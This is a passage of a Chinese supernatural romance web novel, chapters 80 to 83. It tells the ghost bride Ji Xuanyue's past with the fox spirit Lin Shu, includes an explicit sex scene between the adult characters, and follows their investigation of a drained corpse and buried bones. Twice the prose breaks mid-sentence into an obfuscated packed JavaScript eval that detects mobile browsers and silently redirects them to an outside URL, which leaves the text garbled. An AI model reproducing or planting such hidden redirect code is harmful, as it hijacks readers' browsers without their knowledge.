于是，他继续以“阿月”的身份，跟穆绍棠通信。 姬悬月非常心机，他偶尔会冷落穆绍棠，或者用阿月的兄长“姬悬羽”的身份，勒令穆绍棠远离他妹妹。 这样若即若离之下，尝过失去挚友滋味的穆绍棠，愈发珍视和阿月妹妹的友谊。 一年又一年，在穆绍棠说出“要娶阿月妹妹为妻”这句话的那一年，姬悬月十七岁，穆绍棠十四岁。 姬悬月说到这里，突然伸手捏住了林疏的耳朵：“你能变成狐形让我抱一抱吗？” 80. 第 80 章 林疏：“？” 老子还没找你算跟别人谈恋爱的旧账，你还要抱老子？ 姬悬月用一种十分怀念的眼神看着林疏：“因为我马上就要讲到——你来到我身边了。” 林疏惊讶道：“我？” 姬悬月点点头：“是的，你跟我的确是在很多年前就认识。” 林疏那时候还不叫林疏，他只是一只还不能化形的，刚从仙胎里孵出来的小狐狸。 严格来说，林疏先是被穆绍棠捡到了，穆绍棠善良，把小狐狸带回家当了宠物养。而货郎送信太慢，机缘巧合下，穆绍棠发现小狐狸送信只需要一天就能到。 只是送完了需要呼呼大睡几天，来养精蓄锐。 于是小狐狸做了姬悬月和穆绍棠的青鸟，传递些信，或是玉雕扇坠之类的小物件。信送去哪边，哪边就要负责它接下来几天的吃住。 但随着日子一天天过去，天狐的灵力逐渐成熟，小狐狸要开始化形了。 姬悬月并不知道小狐狸是个天狐，他还拿它当小狗养，结果这天收完了信，正搂着小狗睡觉，眼睛再睁开，就看见一个白白嫩嫩不着寸缕的漂亮少年趴在自己怀里。 姬悬月当时都傻了。 小狐狸完全不知道自己变成了个什么妖冶的模样，姬悬月捂着眼睛给小狐狸找了身自己的旧衣服，但小狐狸不爱穿，就那么大大咧咧躺在他身边，还要用雪白的狐耳去蹭姬悬月的脖子。 于是姬悬月不得不照顾刚化为人形的、懵懵懂懂的小狐狸。 教小狐狸穿衣，教小狐狸说话，教小狐狸用筷子，背着小狐狸去集市，去摆摊，他替人写信润笔，小狐狸蹲在他旁边到处看人，跟他们学习像一个人一样生活。 姬悬月是个多么心冷如铁的家伙啊，他满心装的都是如何为母亲报仇。 可偏偏那几天里，他开始思考，自己替人抄抄写写的报酬恐怕养不起小狐狸。 要怎样才能弄到钱，让小狐狸过上舒舒服服的生活呢？ 姬悬月稀里糊涂地就把小狐狸放在了自己的责任清单里。 结果他在这边辗转反侧好几天，小狐狸突然跑了。 跑回穆家了。 姬悬月急得差点连报仇计划都不顾了，只想去穆府把傻乎乎的小狐狸带回来，但小狐狸突然又回来了，还是狐形。 而穆绍棠的信里没提到任何异常。 ……小狐狸好像只有在他身边，才会变成人形。 意识到这一点，笑容出现在姬悬月的脸上。 在不知不觉间，他对小狐狸产生了独占欲。 有小狐狸在身边，姬悬月充满仇恨的心灵突然溢满了甜美快乐的爱意，冰封枯竭的生命里，总算有了一点温暖。 那是一段神仙日子，他一边努力做工赚钱，一边与穆绍棠虚与委蛇，一边跟小狐狸相依为命。 小狐狸的眼睛清澈又单纯。 姬悬月从小狐狸的眼中看见自己，满满的都是自己。 姬悬月却愈发自惭形秽。 他是一个满心都是复仇的魔鬼。 然而心中有了爱，就没办法在执着于恨了。 姬悬月依然按部就班执行自己的报仇计划，但看到那些信，他却越来越煎熬。 ——经过和穆绍棠多年通信，加上自己的走访查问，他已经知道了上一辈之间究竟发生了什么。 或许……他的母亲也并不无辜。 实数年前，穆家次子穆文淮，在大寨最高的红楼里，远远瞥见了衣着朴素，却清冷脱俗、嫣然夺目的女先生。 女先生正在教姑娘们诗书，却被误闯的客人为难。 穆家二少奋不顾身，英雄救美。 而后女先生设宴道谢，才子佳人，诗酒赠名，传为佳话。 不过，世事很难圆满，才子佳人的美好结局终究只在话本中罢了。 姬小姐知道穆家不会纳一个艳名远播的“女先生”进门，况且，她连做妾都不愿，更别提做人外室。 所以姬小姐对穆文淮的追求其实是不以为意的。 偏偏穆文淮为了追人，隐瞒了自己有妻室的事，还说出他家族密辛——穆家有明暗二册族谱，明族谱奉于祠堂，记载家主一脉，规矩颇多。 而暗族谱不示外人，只记载旁系，旁系的人娶妻家里是不会插手的，穆文淮说，他可以娶真心喜爱的女子为正室。 对于这番话……姬小姐其实也不太信吧，姬悬月回忆起来，觉得母亲对穆文淮其实淡淡的，别说爱了，或许连恨都没有。 但没办法，人生总有意外发生——大寨的环境就那么回事，姬小姐千防万防，还是在与穆文淮同桌的酒席上中了药。 意外过后，她稀里糊涂怀了姬悬月。 更大的意外是——在姬小姐怀孕后，穆文淮就失踪了。 男人失踪其实也不算什么令人无法接受的事，姬小姐向来自己养活自己，被男人耍了还不是一样要生活。 可是最令姬小姐崩溃的不是穆文淮跑了，而是，姬悬月都出生了，她才知道，穆文淮居然是有正室妻子的。 她成了自己最瞧不上的“外室”，她会变成玄鹤府内外的笑话。 穆文淮居然还三番两次想跟她要孩子，她只能谎称自己生的是个女儿，才留住了姬悬月在身边。 这就是上一辈的恩怨。 姬悬月知道这些往事后，就不停告诉自己，他自始至终想要报复的，都是害死母亲的穆文淮和杀死母亲的穆文泰。 可是他弱小如斯，到头来，也只能算计一下纯善的穆绍棠。对穆文淮和穆文泰，他一点办法都没有。 他试图说服自己，古语有云：冤有头，债有主。子债父偿，穆绍棠并不无辜。 可是欺骗穆绍棠的每一分钟，都让他的良心被架在火上烤。 他要报复害死他母亲的人，因为他母亲是受害者，可是穆文淮的夫人何尝不是受害者？穆文泰的儿子穆绍棠被他欺骗多年，穆绍棠又何尝不是受害者？ 他已经不想再通过伤害穆文泰的儿子来进行报复了。 如果真的要报复一个人，就冲着他本人去，欺骗无辜的人算什么本事呢？ 于是，姬悬月在新的信里，大大方方对穆绍棠坦白了，说写信的人其实一直是姬悬羽，是个男人。欺骗了小棠这么多年，他很抱歉。 但他做梦也没想到…… 知道他真实性别的穆绍棠居然更兴奋了。 穆绍棠在信中说：我与阿月并非男女相悦，而是知己之情，无关性别。如今阿月成了羽哥， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883429|192007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又如何能撼动你我知己之情？人生能得一知己，夫复何求，我非羽哥不娶。 姬悬月：“……” 十七岁的姬悬月完全不明白，为什么男人会喜欢男人。 但当那个微凉的夜晚，他侧过身非常自然地把小狐狸纳入怀中后，他突然明白过来。 男人可以喜欢男人。 他就很喜欢小狐狸。 小狐狸已经有了名字，穆绍棠给他起名叫阿白。 但姬悬月还是喜欢叫他小狐狸。 他不想跟穆绍棠纠缠，他只想跟小狐狸这样过下去。 然后，小狐狸又失踪了。 在送去最后一封信之后。 姬悬月在家里等了几天，小狐狸没有按时回来。 姬悬月找上穆家，声称自己是穆文淮外室所生，可穆家不让他进门。 他守在家宅之外，爬墙头，听墙根，终于听见穆家的下人们窃窃私语，说老爷跟小少爷要走了那只狐狸，说要用药灌几日，取狐心当药引。 姬悬月听了这话简直要疯了。 发疯的姬悬月在此时，终于再次敲定了自己的报仇计划。 他要以姬悬月的身份嫁入穆家，在所有宾客面前摘下盖头，把穆文泰和穆文淮做过的事全部说出来。 到时候该报官报官，该升堂升堂，他母亲的冤屈就交给玄鹤府的悠悠众口来评判。 而他，要趁乱把穆家翻过来，找到他的小狐狸。 这是17岁的幼稚鬼能想到的，最周全的办法了。 讲到这里，姬悬月笑得都快流出血泪了。 “太天真了。”他感叹着，“我就是个不孝子，为了我的爱情，我放弃了我母亲。” 林疏不知道该说什么好。 他是希望姬悬月能放下仇恨的。 可是杀母之仇当前，他无法说出这样的话。 姬悬月喃喃道：“毫无悬念的，我的计划失败了。在拜堂前，我掀下盖头才说了几句话，就被穆文泰逼得哑口无言，我再辩，却成了狡辩、诡辩，他分明早有准备，他早就知道我会来。” 林疏马上道：“对，在穆迎秋他们做的那个时空大阵中我就发现了，穆文泰早知道新娘是你！” 姬悬月默了片刻，道：“现在想来，或许，我嫁进穆家早就在他们预料之中。” 因为在婚礼上，姬悬月堂还没拜完，就被人趁乱打了一棒，不省人事了。 “你还挨打了？”林疏惊呆。 姬悬月笑道：“那都不算什么了，我醒来后问穆文泰，是不是他杀了我娘。他承认了，说我和我娘都是贱人，死有余辜。我气不过，就用凳子——我真的用凳子拍了他的头。” 林疏悻悻道：“十八岁的强壮小伙子，被一个老头反杀，你还好意思说你拍了他头……” 姬悬月却非常认真道：“我被反杀，是因为他们人多势众，我敌不过。在我问他，我的小狐狸在哪里，然后他愣了一下，就叫来一群家丁按住了我。” 林疏不由得屏住了呼吸。 姬悬月的眼睛却慢慢变红了，是那种睚眦欲裂的红。 他道：“穆文泰说，小狐狸是妖怪，人人得而诛之，他会押着我，去看……小狐狸被人乱棍打死、剥皮抽筋的场面。” 81. 第 81 章 林疏怔住。 他是真的不知道，自己的皮是被谁剥的，难道真是穆文泰？ 姬悬月轻声道：“我想杀了他，哪怕数十家丁按住了我，我也不怕。我知道他大概是要留我性命有别的用，所以很有恃无恐。” 可姬悬月的有恃无恐终究落了空。 穆文泰忽然变了主意，他在短暂思考之后，就直接把烛台钉进了姬悬月的胸口。 姬悬月的记忆只到这里了。 说完这些，姬悬月有些怔怔的，像是陷入了回忆走不出来。 林疏突然起身撞进了姬悬月的怀里，紧紧贴在他胸口，搂住了他的腰。 小狐狸的拥抱温暖又柔软。 可姬悬月的身体是那样冰冷和坚硬。 他死了，他死在十八岁那年，永远死在了那年。 复制的时间线依然保持着雨后的适宜温度，林疏却觉得身上一阵一阵发冷。 如此看来，穆文泰的确是穆家四煞千年柱的初代筹备者。 那么穆文泰究竟知不知道四煞千年柱是做什么的？ 姬悬月进入穆家的时日太短太短了，他其实什么都不知道，就闯了进去，所以在这件事上，他的记忆其实并没有太大的用处。 但林疏之前的猜想算是得到了充分佐证，姬悬月和他都是一早就被设计好要献祭给千年柱的祭品，那么姬悬月的血孽，到底是穆文泰计划中的后天血孽，还是意外造就的先天血孽呢？ 在联系到九龙千年柱底下的姬悬月的尸身，还有塌陷的石柱，柱下掩埋的油画……也即民国时候的温家。 这个四煞风水局，竟非一代之功。究竟还有几代人在为它筹谋…… 林疏越想，越觉得头皮发麻。 而姬悬月在召回记忆后，似乎成了个大大的恋爱脑，他脑子里是一点不装正事，就温柔地搂着他失而复得的、心爱的小狐狸，轻轻啄吻他的鼻尖。 林疏被缱绻的吻弄得有些心猿意马，不由得用双手去推姬悬月的肩膀：“你让我想想事情……” “我刚找回记忆的一瞬间，差点以为自己几百年没有见过你了。我不扰你，就亲一亲。”姬悬月不依不饶，已经抱着林疏站了起来。 高高大大的鬼新娘抱着身娇体软的小狐狸，就像捧着一团雪白的泡沫。 他将小狐狸压在胸口，闻着林疏发顶清甜的香气，顿觉心中暖烫的喜爱愈发溢出得不可收拾。 林疏被心爱的人这样抱着，顿时是一点正事也想不进去了，他努力向后仰着，想躲开姬悬月的贴贴，但他一抬眼睛，就看见姬悬月眼睛里深海一样的目光。 望着失而复得的珍宝一般，滚烫的目光。 突然气氛又不同了。 什么都不同了。 林疏被姬悬月身上溢出的浓重情意烫得浑身发软。 他只挣扎了三秒钟，就非常遵从内心地反手搂住了姬悬月，将脸仰起来，去亲吻姬悬月的嘴唇。 姬悬月安安静静与他接吻，做了二十秒的正人君子。 突然就将林疏丢在了床上，然后翻身压下去，将林疏的嘴唇吮住了。 就像一个心怀不轨却装得道貌岸然的伪君子，他吻得若即若离，放肆又克制，凉凉的嘴唇贴着林疏。两人之间悬殊的温差却让林疏无比沉迷，他不由双手搂住了姬悬月的脖子。 亲着亲着，林疏的意识已经有点混混沌沌的，他一时精虫上了脑子，双腿盘上了姬悬月的腰。 两人的姿势本就危险，这样一盘，林疏的后背几乎悬空了。 姬悬月一手撑着自己，另一手顺着睡衣的下摆就钻了进去，冰凉的手指沿着纤软的腰窝一直捋到脊骨。 林疏被冰得浑身发抖，口中不由溢出了一点细碎的声音。 这一声钻进了姬悬月的耳朵，他的眸子突然就沉了下来，随即，将微凉却柔软的舌探入了小狐狸喘出滚烫气息的双唇之间。 林疏睁开因缺氧而有些失神的眼睛，在这一瞬间，短发由黑转白，睫毛色淡如雪，狐狸的媚在一瞬间展开，被姬悬月收入眼底。 他的法相。 他的伤疤。 如垂死天鹅一般向后仰起，姬悬月的吻便落在了颈上的疤痕。 “我没有关灯……”林疏用了很大的力气才稳住自己的声音，“你不会嘲笑我，对吗？” 姬悬月轻柔地剥掉了林疏紧密的壳，他们没有关灯，于是这次，姬悬月清清楚楚看到了林疏身上所有的疤痕。 上次在黑暗中，他看见了，但看不真切。 此时就看见了全部。 是典型的缝合疤，脖子上有一圈，四肢、手腕脚腕，甚至胸口也有一道，横贯他的心脏，绕到背后。 有些狰狞。 但姬悬月的指尖已经抚摸他背上的疤，那条疤顺着脊骨，一直延伸到林疏的后颈处。 姬悬月托着林疏的后颈，轻轻亲吻林疏胸前的伤痕。 他爱林疏的伤痕，他爱林疏的灵魂。 …… 或许，男人在这种事上都会无师自通，林疏脑中的理智在姬悬月将手指探入的那一瞬间，就全部崩塌了。 厉鬼身躯冰冷，手指也冰冷，他用生涩的手法带着林疏一次次上了巅峰，但自己始终保持着一分理智。 就像一个有着恶劣喜好的主导者，他一直耐心引导着，等到林疏受不住哭出来，才轻轻松松将他抱起，揉进怀里。 甜软娇媚的小狐狸完全抛去了化身为人的尊严，他的每一条伤疤都是那样敏感，姬悬月却仿佛能读心的魔术师，猜到了他每一处隐藏极深的禁地。 白发凌乱，狐耳颤抖，睫毛被泪水濡湿，眼见林疏就要溺死在无边的欲|海，姬悬月终于抱着林疏进了卫生间。 贴心男鬼新娘用淋浴器帮林疏洗掉了一身狼狈的液体，然后俯身，在小狐狸微微泛红的眼尾落下一吻。 林疏嘴唇微启，漂亮的眼睛里盛着诱人的水光，姬悬月在他发出声音之前，再次吻住了他的嘴唇，将他所有的话堵了回去。 热气蒸腾的浴室里，林疏感受着紧密相贴的肌肤一点点染上温度，他不由错觉身前的人活过来了一般……但很快他发现哪里不对。 刚才在黑暗中他没有注意到，姬悬月的双眼在变红。 血孽厉鬼的红瞳本来应该是极可怖的，但林疏望进去，却仿佛被蛊惑一般。 那双眸子是非常漂亮的赤红，如清澈红酒，如剔透珊瑚，带着让人心神恍惚的艳色，饱含极致的欲|望。 和一丝难以察觉的……恶劣。 很快林疏就知道姬悬 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如果不是因为林疏先不行，直接晕过去，姬悬月说不定能直接把林疏玩死。 ……都晕过去了也离死不远了罢！ 林疏决定再也不要跟姬悬月好了！！！ 而始作俑者姬悬月一无所知，还生龙活虎地去翻林疏的法宝袋子，满屋乱窜，然后爱意缱绻地扑回来，紧紧贴在他背后侧躺着，手掌搭在林疏腰侧，从身到心都万分满足。 ……完全不知道林疏此时此刻满心都是要找他的茬。 于是林疏缓缓睁开眼睛，他回想起白日里，在楼梯间，他按着姬悬月要讨论但没讨论完的问题。 “那个木雕小鱼儿……”林疏阴仄仄道，“是你跟穆绍棠的定情信物，对吧？” 餍足的姬悬月：“……” 翻前任旧账虽迟但到，他猝不及防，只好先求饶：“那是为了骗他的，我错了，我错了几百年，你原谅我吧。” 林疏翻身过来，直接骑在姬悬月身上：“该做的不该做的都做了，你也该给我交代清楚了吧？你是怎么勾引的他？” 姬悬月忙扶着林疏的腰，生怕他坐不稳掉下去，然后思忖片刻，不太确定地道：“我跟他讨论诗词歌赋，人生理想？” 林疏冷漠脸。 姬悬月道：“穆绍棠是个……至少信里是个比较单纯的人，我并没有跟他谈论过情情爱爱的事，只是隐晦地用一些诗词来指代，至于他想没想歪、歪到什么地方，我是概不负责的。” 林疏：“……” 原来你还是个绿茶白莲花。 姬悬月做无辜状：“我真的没有一点喜欢他，我从始至终只喜欢你，只喜欢我的小狐狸。” 说着，他的手指慢慢攀爬，在敏|感得经不起一点撩拨的小狐狸身上暗戳戳点火。 林疏扭来扭去地躲闪，愤怒道：“你以为你这么说我就会信你吗？你欺骗人家的感情，你该死！” 姬悬月却笑了。 他停下手上的动作，腰腹轻轻一用力，就坐起来，将小狐狸紧紧搂进怀里。 “我该死，”他轻声道，“我几百年前就死了，你知道的。” 82. 第 82 章 林疏顿住不动了。 他慢慢俯下|身，靠在姬悬月没有心脏跳动的胸口。 “有时候觉得，死可以还清所有的罪孽，”姬悬月喃喃道，“可当我想起从前那些事的时候，我觉得好像又被封回了那口棺材里。我还是那个罪孽深厚的我，没有赎罪，没有重获新生。” 林疏闭上眼睛，道：“你能，只要你获得机会，重新投胎，你就可以重获新生。” 姬悬月道：“我不会获得机会了。” 林疏侧躺在姬悬月胸口，姬悬月说话时胸腔微微震动，传递到他耳里，显得格外的温吞和低哑。 可姬悬月口中再没有了下文。 林疏知道，他还有事瞒着自己。 安静了好一会儿，林疏才道：“你请我师娘帮你那个忙，是什么？” 姬悬月闭了闭眼。 林疏听不到他回答的声音。 便慢慢道：“你让他，抹掉我关于你的记忆，对吗？” 他感觉到姬悬月胸膛的起伏停止了。 厉鬼虚假的呼吸，只有被猜中心事的时候，才会因为忧心忡忡，而忘了伪装。 林疏却只是搂紧了姬悬月，没有再问下去。 空气安静了很久，久得姬悬月都忍不住要说话了，林疏却突然撑着他起身，揉揉姬悬月的耳朵就像什么都没发生过一样欢快道：“走吧走吧，还有件事没查，你陪我去查证一下。” 姬悬月还很茫然，不明白林疏为何高高拿起轻轻放下，但他已经被林疏薅起来带着走了。 驭龙旗上的龙纹还剩最后两条，用尽之后，就无法再使用，这个时代没有灵气可以对它进行补充。 但这次林疏想去的地方，是一定要去的。 那就是他们本来打算过几天去出差的——鹑城云途酒店。 只是，驭龙旗的能量不多，恐怕在半路就会耗光了，林疏于是又拿出了一把号角。他犹豫片刻，朝姬悬月招了招手。 姬悬月凑近他：“怎么了？” 林疏指指自己的袖子：“你要不先到这里来待一会儿？我接下来召唤的东西，你未必受得住。” 姬悬月挑挑眉，但非常听话地往林疏袖子里一钻。 林疏把袖子拢得严严实实，然后施展驭龙旗，朝着鹑城而去。 不出他所料，行至半路，驭龙旗的灵力耗尽了。 林疏便拿着那号角，磕磕绊绊念了一通法咒。 片刻后，通体金光的神兽出现在云端，它仰天长吼了一声，林疏马上展开驭龙旗，旗帜上的龙纹就开始如饥似渴地补充灵气！ 林疏也趁此机会补充了一些灵气，等一狐一旗都吃饱了，林疏再次吹响那陆吾号角，云端的神兽便原地消散，杳然无踪。 而号角上，也出现了一丝细碎的裂纹。 接下来，林疏驾着已经充满电的驭龙旗，金龙朝着巴蜀之地飞快驶去！ 鹑城与鹤城相隔不算远，饶是如此，也花费了驭龙旗足足四道龙纹的灵力，但到了这里，如何找到那“云途酒店”又成了难题——这个时空无法使用GPS定位系统。 林疏放出袖子里的姬悬月，两人先在寂静的空城里找了几家书店，翻出了一些鹑城旅游地图。 但当他们沿着地图指引，找到那“云途酒店”所在的长街的时候，林疏就发现，“找地图”完全是多此一举。 那一整条街上都弥漫着浓重的煞气，林疏朝天顶望去，只看到这煞气几乎是高出了几十米，将酒店大楼也笼罩在了其中。 他与姬悬月沿着街道走到酒店门口，就被酒店玻璃门里涌出的煞气冲得捂住了口鼻。 但时间停滞的那一秒，酒店仍旧保持着营业的状态，前台虽没有人，灯却亮着。 林疏心想，煞气都这么浓了，酒店是怎么营业的？当地灵调局没有出来管管吗？ 他们推门，进入了云途酒店。 酒店里，一楼的大厅就挂着一幅很大的油画，画的是风景，林疏与姬悬月凑近了看，就觉得这幅画的画风和温闵宣的不太像。 当然，白色洋房里温闵宣画的那些油画多是肖像画，林疏也看不出风景画与人像画会不会有太大的区别…… 但当他们走到二楼的时候，林疏和姬悬月都不由得停住了。 他们还记得进入穆迎秋梦中的那次，从房间出来，一路往下跑的时候，楼梯拐角处的墙上，挂着姬悬月和穆绍棠的——合影油画。 而这里的楼梯拐角，果然挂着那幅油画。 盖着盖头的姬悬月，和笑容灿烂的穆绍棠。 画中的新娘穿着一身只绣金龙的嫁衣，盖头上的绣花非常细致，穆绍棠则穿着马褂。 林疏凑近了看，就见那画框里其实是翻拍了油画的照片，并非原作，但仔细看也能看到一些笔触。 林疏不由得仔细回忆了一番，当初在老城区博物馆里，老馆长给他看的姬悬月的照片。但时间有些久了，他无法确认那张照片和这张油画是不是同一幅。 再看这张油画，画中两个人物的衣饰都画得很逼真、很精细，若不是实地写生，或者照着照片来临摹，那作者只能是非常非常熟悉这场婚礼的人。 而且画中的两人肩挨着肩，画师好像有意画出两人的体型差，新娘的肩膀比新郎宽出一截，也比新郎高上许多。 姬悬月看了照片许久，才道：“我没有和穆绍棠一起照过照片，也没有一起画过像。虽然我们见过面，但我没有穿过这身衣服。成亲那日是我唯一一次穿嫁衣，而与我拜堂的是公鸡，我到死都没有见到穆绍棠。” 林疏遂道：“那这应当是后人凭着记忆来画的。” 但说完，他瞥见这幅画角落里龙飞凤舞的签名，陷入了沉思。 这签名用的是和穆绍棠马褂颜色一样的颜料，但林疏还是辨认出了那个名字——温闵宣。 画师果真是温闵宣么？他如何得知婚礼的细节？连姬悬月嫁衣上锈样的花纹都如此清晰？ ……但这幅油画里没有煞气。 酒店里弥漫的煞气源头并不在此处，林疏用手机翻拍了一张墙上油画的照片，和姬悬月继续往里走。 这一层的墙上挂着许多油画，林疏看着看着就觉得熟悉起来，因为这条走廊的确是他们在穆迎秋梦里看到的那一条，墙上的画，他们在白色洋房里都见过。 直到走到他们在梦里和穆迎秋同处过的那间房门口，林疏和姬悬月都停了下来。 这门里，就是酒店煞气的源头。 门里会是什么？ 林疏不由得屏住呼吸，而姬悬月已经挡在他身前，用手去开那房门。 “没有房卡……”林疏下意识道，但话说一半，他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883431|192007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就看见姬悬月把那门打开了。 门里的煞气如同汹涌的潮水一般涌出，林疏不由得后退了半步，他把手按在姬悬月身上，下意识导进去一些灵力，怕那煞气引动姬悬月的血孽。 但姬悬月好像很淡定，他没有受到什么影响，而是回头拉起了林疏的手。 两人一前一后，进入了这房间里。 玄关处挂着那张《紫罗兰花丛中的裸-女》，空气中隐约有些腐朽的气息。 前面的姬悬月突然停住了脚步。 林疏：“？” 姬悬月喃喃道：“是……穆迎松？” 林疏：“？？？” 这个时空不是没有人了吗！ 不对，除了……死人！ 林疏马上绕过姬悬月，就看见雪白的大床上，躺着一个扁平的人干！ 像一条久经暴晒的咸鱼，像一只被僵尸吸干了血的羔羊。这具尸骨的身上已经没有了血液、没有了软组织，只剩一层薄薄的皮覆在骨骼上。 他脸上的肌肉和脂肪也消失了，所以看不出面貌特征，林疏只能从男人的穿着和配饰上看出，这人是穆迎松。 但他已经实实在在不像个“人”了。 而这尸体，便是煞气的源头。 林疏无声取出一张溯灵，原地点燃！ 但就和之前在宋玉家一样，溯灵没有检测出任何痕迹！ 可煞气如此浓重！ 林疏嘶了一声，上前去检查尸体的状况。 穆迎松衣着整齐，身上没有明显的伤口，这种死状……倒像是被邪魔吸走了血肉精气，而且并非僵尸或吸血鬼这种有实体的邪魔。 但有一点比较引人注意，那就是——尸体没有穿鞋。 穆迎松的鞋整齐地摆在床尾，是那种系鞋带的硬面皮鞋，而鞋码大约是45码。 这样大的一双脚，哪怕脚的主人已经被吸成人干了，足弓的长度、趾骨的宽度也没有太大的改变，系着鞋带的鞋总不会自己掉下来。 也就是说，穆迎松死前，状态恐怕是很放松的，但他衣着整齐，证明不是独处——那脱掉的就不止鞋了。 与人共处，还是在大床房里，还脱了鞋，无论坐着还是躺着，对方都一定是他信任的人。 林疏的第一反应是——穆迎秋。 他对穆迎松的社会关系了解得不多，穆迎秋是他唯一知道的对象。 但他依稀记得，在原本的时间线里，他才在鹤城的穆家老宅见过穆迎松没过多久，他的尸体为何会出现在鹑城的酒店？ 看来这些事还得回到正确的时间线后一点点来查。 而且，这种使用溯灵都找不到任何痕迹的情况，总是让林疏很在意。 这样想来，他们或许还应该…… 去看看无人状态下的，最后一个案子。 虽然早就从林疏手中移交给林聆了——金蚕蛊置换案。 九龙千年柱塌陷一事来得太急太快，林聆恐怕还没来得及分出精力去查，而林疏的好奇心已经按捺不住。 他知道以林聆的能力，破解此案只是时间问题，但他还是忍不住去想，关于那只金蚕蛊，关于宋玉家，关于苏穗城家，关于陈璧兰是怎么回到的阳间，为什么溯灵找不到痕迹？为什么这样的事一而再再而三在发生？ 还有……那棵树。 83. 第 83 章 对，那棵树根下埋着白发主人的，树。 林疏给酒店里所有他有印象的油画都拍了照，最后去看了走廊尽头的《玛丽亚王后》。 当然，这幅画也只是一张翻拍油画的照片。 但耐人寻味的是，这幅翻拍的照片里，玛丽亚王后的双眼含着柔情的光，这拍摄的是未曾解开封印的《玛丽亚王后》。 而不是拍的那幅，被林疏解开封印的画——画中的玛丽亚被带走后，那幅油画就没有了神采。 林疏轻轻瞥了一眼姬悬月，姬悬月出神地望着《玛丽亚王后》画面角落里的“温闵宣”三个字。 驭龙旗再次升起，林疏与姬悬月不远千里回到了鹤城，来到了宋玉家的小区。 上次，他在宋玉家的梳子上找到一根银白的毛发，用术法，探知毛发的主人并未被火化，而是被埋在一棵树下。 宋玉家的小区有很明亮的灯，林疏毫不费力就找到了那棵被他标记过的树。 从袖里乾坤中取出夫诸的骨头，林疏将那棵树的树根轻轻撬了起来。 树根底部的土壤不太好挖，因为盖这个小区的时候，压路机在这些土层上来来回回夯了无数次，所以树根盘在土壤的浅表层，几乎没怎么往下延伸。 所以林疏也很轻易的就挖到了东西。 一具身穿红色针织衫的，成年女性的尸骨。 林疏没有多少法医的知识，他只知道一些常识——譬如女性和男性盆骨的区别，其他的，全靠玄学，他直接烧了一张溯灵。 但和宋玉有关的案子都像被特意抹除痕迹一样，这具尸骨也一样，干干净净，毫无玄学痕迹。 林疏正蹙着眉思考接下来该怎么办——这座城市已经没有活人了，他找不到法医科帮忙做鉴定。 姬悬月在一旁仔细观察了一番这具尸骨，突然道：“林疏，你看她的盆骨，里面有东西。” 林疏捡起破烂布条中间的尸体的盆骨，仔细看了两眼，又翻过去看背面：“这好像没什……哎？” 他话说一半，盆骨上有个东西掉了下去。 林疏伸手去捡，拿到手里吃了一惊：“这是什么东西？看上去如此歹毒？” 他手里是一个“T”字形的塑料棍，横竖的长度都大概在20厘米上下，上面缠绕着一圈金属丝。 这什么玩意儿？林疏没见过。 是埋人的家伙放的……呃……随葬品吗？ 林疏拿出手机对着它拍了几张照片，打算回去后找人问问。 但观察了一会儿林疏就发现，这具尸体并不是陈璧兰的，因为陈璧兰临终时的身高只有一米五，但这具尸体的身高至少在一米六五到一米七之间。 林疏起身，抬头去看宋玉家的阳台。 他家黑漆漆，没有光。林疏知道他家没有人，在回到这里之前，他已经将案子转给了灵协办，林聆恐怕已经着人来调查过。 但林疏还是又去了一次。 宋玉家门口贴着封条，林疏随手撕了，带着姬悬月走了进去。 和上次一样，宋玉家中干干净净，没有什么灵异痕迹。这里饲养的金蚕蛊似乎已经离开，也可能是被林聆收走了——屋子里已经落上了薄薄一层灰尘。 林疏完全不讲武德，他点亮了灯，就去对宋玉家进行了一个二次抄家。 姬悬月怕林疏累着，赶忙给自己贴了实体符，然后上去帮忙。 ……至少帮林疏揉揉腰。 林疏正撅着屁股从电视柜里摸东西，腰上突然落上一双手，他马上回头瞪着姬悬月，大脑里开始出现废料。 姬悬月不太自然地别过头去：“要不你起来，我来找吧。” 林疏冷哼一声，起身到沙发上躺下了，转而看着姬悬月撅着屁股四处翻找。 灵协办过境，自然是寸草不生，姬悬月找了很久，只找到一点没什么用的资料： 宋玉和妻子惠琼的护照复印件，还有身份证、户口本和结婚证的复印件。 林疏挨个查看复印件，在翻到户口本复印件的时候，他的动作停住了。 户口本原件自然是已经被灵协办带走，而这份复印件上，林疏看到了一个“已注销”的人。 并非陈璧兰，而是她的儿媳、宋玉的母亲：孙玉华。 此人于去年冬天病逝，宋玉就去派出所给母亲销了户，不过复印件里林聆没有找到死亡证明，也就不知道这名女士的具体死因。 这时，姬悬月又在衣柜最底层一个女人的手包里找到一些票据。 林疏已经翻完复印件，丢在一边。见姬悬月过来，就接过他手中票夹，歪在沙发上挨个看过去。 水电缴费通知单，天然气单，发票，旅游景点门票，还有很多车票和机票。 一张张车票在林疏手中翻过，他的手指突然顿住，停在了一张大巴车的不记名预售票上。 上面写着“竹里——卡苏”，有一道已经褪色的圆珠笔划过的痕迹。 这是很多年前公交车未实名制时，最朴素的检票方式。 竹里镇位于鹤城西北经济开发区，它的外围即西南密林与深山，也是从鹤城去苗寨的最后一程——竹里镇的大巴车可以直通各个位于鹤城西北的苗寨，卡苏苗寨就是其中之一。 而林疏记得，卡苏苗寨的蛊王已经去世，有个女儿在鹤城定居，林疏还去拜访过她，她说自己没有继承卡苏的蛊术。那个女儿……好像…… 也姓惠？ 宋玉的妻子姓惠，叫惠琼。 